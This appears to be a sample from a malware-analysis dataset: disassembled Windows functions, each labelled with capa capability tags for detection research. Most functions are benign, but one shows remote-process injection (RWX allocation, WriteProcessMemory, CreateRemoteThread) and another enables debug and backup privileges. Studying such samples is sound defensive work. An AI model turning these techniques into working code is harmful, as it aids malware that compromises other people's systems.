joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1025e00
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x103b8f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov ecx, dword [esp + 0x1c]
push esi
mov esi, dword [esp + 0x24]
lea eax, [esp + 4]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push esi
push ecx
mov dword [esp + 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
je 0x1025ed2
lea edx, [esp + 0x24]
push eax
push edx
call fcn.010227a0
add esp, 8
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], edi
cmp eax, edi
je 0x1025e61
mov edx, dword [eax]
jmp 0x1025e63
xor edx, edx
xor ecx, ecx
push edi
xor eax, eax
push edx
push ecx
mov ecx, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov edx, dword [ecx + 4]
push eax
push esi
push 2
push edx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.01024050
mov eax, dword [esp + 0x44]
add esp, 0x20
cmp eax, edi
mov dword [esp + 0x1c], 0xffffffff
je 0x1025ebf
mov esi, eax
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x1025ebf
cmp esi, edi
je 0x1025ebf
mov ecx, esi
call fcn.0101da00
push esi
call fcn.0102b1c8
add esp, 4
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
push edi
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.01022990
add esp, 0xc
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
cmp eax, edi
je 0x1025ef5
mov eax, dword [eax]
jmp 0x1025ef7
xor eax, eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x2c]
push ebx
push esi
push eax
push ecx
push edx
call fcn.01021640
add esp, 0x10
mov bl, al
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0x1025f25
mov eax, dword [eax]
jmp 0x1025f27
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
cmp esi, edi
je 0x1025f76
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x1025f76
cmp esi, edi
je 0x1025f76
mov eax, dword [esi]
cmp eax, edi
je 0x1025f5d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
cmp eax, edi
je 0x1025f6d
push eax
call fcn.0102b1c8
add esp, 4
push esi
call fcn.0102b1c8
add esp, 4
mov ecx, dword [esp + 0x18]
mov al, bl
pop ebx
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1025f90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push ebp
push esi
push edi
xor edi, edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
mov esi, dword [esp + 0x21c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1025ffb
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x1026035
lea edx, [esp + 0x10]
push esi
push edx
push SysStringLen
call fcn.01025e00
add esp, 0xc
lea eax, [esp + 0x10]
inc edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
test eax, eax
je 0x1025fc5
mov edi, 0x10408b0
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x1026035
mov edx, dword [edi]
push esi
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.01025e00
add edi, 4
add esp, 0xc
cmp edi, 0x10408c0
jb 0x1026000
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x208
ret

Function at 0x1026070
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x250
push esi
push edi
mov edi, dword [esp + 0x25c]
push 0x5c
push edi
call fcn.0102c082
mov esi, eax
add esp, 8
test esi, esi
je 0x1026107
lea eax, [esp + 8]
mov word [esi], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1026102
push ebx
lea ebx, [esi + 2]
push ebp
lea ecx, [esp + 0x3c]
push ebx
push ecx
call fcn.0102b946
add esp, 8
test eax, eax
je 0x10260e3
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea edx, [esp + 0x10]
push edx
push edi
call ebp
test eax, eax
je 0x10260e8
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.0102b946
add esp, 8
test eax, eax
jne 0x10260c5
mov word [esi], 0x5c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp word [esi], 0
pop ebp
pop ebx
je 0x1026102
pop edi
mov al, 1
pop esi
add esp, 0x250
ret
mov word [esi], 0x5c
pop edi
xor al, al
pop esi
add esp, 0x250
ret
Function at 0x1026f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x103b9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x1027002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.0102adff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x1027002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.010226e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0102b20b
push 0x10
call fcn.0102b1d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x1026fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.010171c0
jmp 0x1026fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.01026b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x1026ff0
mov ecx, edi
call fcn.010172c0
push edi
call fcn.0102b1c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1027021
inc ebx
cmp ebx, 0x20
jb 0x1026f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1028250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x103c808
push 0x102c288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1028329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1028329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0102b1d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0x1028329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0x1028329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0x102832c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.01028351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1028d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1028d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x1028d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1028d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1028d94
push eax
push esi
call fcn.0102b20b
add esp, 8
pop esi
ret 0x10

Function at 0x1028da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1028e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0x1028e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x1041320
push ecx
mov dword [esp + 0x1c], 4
call fcn.0102adff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0x1028dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0x1028e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1028ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x1028eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x1041320
push ecx
mov dword [esp + 0x1c], 4
call fcn.0102adff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x1028eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x1028e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0x1029000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x1029131
push esi
call fcn.0102c145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.0101b080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x1029131
push 0
push ebp
call fcn.0101b3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.0101b260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x102908b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.0101b2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x1029121
push 0x1041918
push edi
call fcn.0102a3f0
push eax
push ebx
push esi
call fcn.01028f60
push 0x10418f8
push edi
call fcn.0102a3f0
push eax
push ebx
push esi
call fcn.01028f60
push 0x10418d8
push edi
call fcn.0102a3f0
push eax
push ebx
push esi
call fcn.01028f60
push 0x10418c0
push edi
call fcn.0102a3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.01028f60
push 0x10418a0
push edi
call fcn.0102a3f0
push eax
push ebx
push esi
call fcn.01028f60
push 0x1041888
push edi
call fcn.0102a3f0
push eax
push ebx
push esi
call fcn.01028f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x102a1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0102a140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0102a140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0102a140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0102a140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x102abfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x102ac50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x103c87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x102ac43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x102ac52
xor eax, eax
pop esi
leave
ret 4
Function at 0x403d2a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x905790
push 0x403f74
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
nop
nop
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x407df0], 0xffffffff
or dword [0x407df4], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x407dd4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x407dd0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x407dec], eax
call fcn.00403f73
cmp dword [0x407ce0], ebx
jne 0x403dad
push 0x403f70
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00403f5e
push 0x407018
push 0x407014
call sub.MSVCRT.dll__initterm
mov eax, dword [0x407dcc]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [0x407dc8]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
nop
adc eax, sym.imp.MSVCRT.dll___getmainargs
push 0x407010
push section..data
call sub.MSVCRT.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.MSVCRT.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x403e40
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x403e14
cmp al, 0x22
jne 0x403e06
cmp byte [esi], 0x22
jne 0x403e1d
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x403e27
cmp al, 0x20
jbe 0x403e19
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x403e4b
movzx eax, word [ebp - 0x2c]
jmp 0x403e4e
cmp byte [esi], 0x20
jbe 0x403e1d
inc esi
mov dword [ebp - 0x74], esi
jmp 0x403e40
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
nop
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x5882de
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x5882fb
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x5882ec
add dl, dl
jne 0x588306
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x588352
xor eax, eax
add dl, dl
jne 0x588313
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x5883ef
add dl, dl
jne 0x588322
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x58832d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x588338
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x588343
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x58834d
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x5882f2
mov eax, 1
add dl, dl
jne 0x588360
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x58836b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x588357
sub eax, 2
jne 0x58839a
mov ecx, 1
add dl, dl
jne 0x588380
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x58838b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x588377
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5882f2
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x5883b1
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x5883bc
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x5883a8
cmp eax, 0x7d00
jae 0x5883df
cmp eax, 0x500
jb 0x5883da
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5882f2
cmp eax, 0x7f
ja 0x5883e2
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5882f2
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x58840b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5882f2
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8
Function at 0x401180
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401338
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0x22c
push eax
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401208
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
push 0x403130
lea eax, [ebp - 0x21c]
push eax
call edi
test eax, eax
je 0x4011f6
lea eax, [ebp - 0x240]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4011d0
jmp 0x401208
push dword [ebp - 0x238]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401338
mov esi, dword [0x40409c]
push 0x40
push 0x3000
mov dword [ebp - 0x248], esi
push dword [esi + 0x4040b0]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x4040b4]
mov dword [ebp - 0x244], eax
push 0x404060
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x404066]
jae 0x40129a
lea esi, [esi + 0x40416c]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x404060
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x248]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x404066]
cmp edi, eax
jl 0x401267
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp - 0x244]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlZeroMemory
push str.ntdll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401170
lea esi, [edi + 1]
sub eax, section..text
push eax
push section..text
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040134e
mov esp, ebp
pop ebp
ret
Function at 0x401b51
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b90
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b90
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b90
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b90
cmp dword [ecx + 0x74], 0xe
jbe 0x401b90
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4014c6
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x597cf0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40155b
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x401518
cmp dword [ebp + 0x10], ebx
jne 0x40154f
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.004014c6
test eax, eax
jne 0x40152a
push edi
lea eax, [ebp - 0x10c]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014ff
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405b67
cmp eax, ebx
je 0x401562
push ebx
push dword [0x597cf0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40155b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x597cf0], ebx
jne 0x401558
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x401558
jmp 0x40155b